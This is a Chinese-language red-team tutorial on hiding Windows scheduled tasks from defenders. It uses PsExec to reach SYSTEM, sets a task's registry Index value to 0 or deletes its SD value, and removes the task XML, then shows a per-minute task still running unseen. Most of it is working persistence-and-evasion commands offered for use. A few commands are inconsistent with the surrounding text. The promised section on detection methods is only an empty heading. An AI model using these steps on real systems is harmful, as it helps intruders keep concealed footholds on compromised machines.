Windows隐藏计划任务

通过对计划任务注册表进行修改,使恶意计划任务不易被发现,同时迷惑蓝军。

使用前提

获得system权限

机器版本

Win10

实践过程

报错隐藏

将注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\gametime下的index键值修改为0(原值为3)

修改前

此处需要system权限,使用psexec获得一个system权限的shell

PsExec64.exe -i -s cmd.exe
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\gametime2" /v Index /f /d 0

修改后

此时打开计划任务UI,出现报错

点击确定后查看不到计划任务

幽灵隐藏

使用命令创建一个名为gametime的计划任务

SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN gametime /TR c:\windows\system32\freecell

运行taskschd.msc打开计划任务UI,查看计划任务创建成功

删除HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\gametime下的SD键

此处需要system权限,使用psexec获得一个system权限的shell

PsExec64.exe -i -s cmd.exe
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\gametime" /v SD /f

此时打开计划任务面板,发现gametime被隐藏

实战效果

进行测试,设置一个计划任务 每分钟运行一次cmd.exe用于检测心跳

schtasks /create /tn heartbeat /tr C:\windows\system32\cmd.exe /sc minute /mo 1 /st 00:01:00 /et 20:21:00

查看计划任务UI,发现heartbeat计划任务存在

成功弹出,说明计划任务正常执行

报错隐藏

将index设置为0

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\heartbeat" /v Index /f /d 0

删除C:\Windows\System32\Tasks目录下对应的xml文件

此时看不到计划任务但成功弹出cmd,说明计划任务正常执行

幽灵隐藏

删除HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\gametime的SD键

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\heartbeat" /v SD /f

删除C:\Windows\System32\Tasks目录下对应的xml文件

此时在计划任务UI中看不到计划任务但仍成功弹出cmd,说明计划任务正常执行

总结

蓝军对应检测手段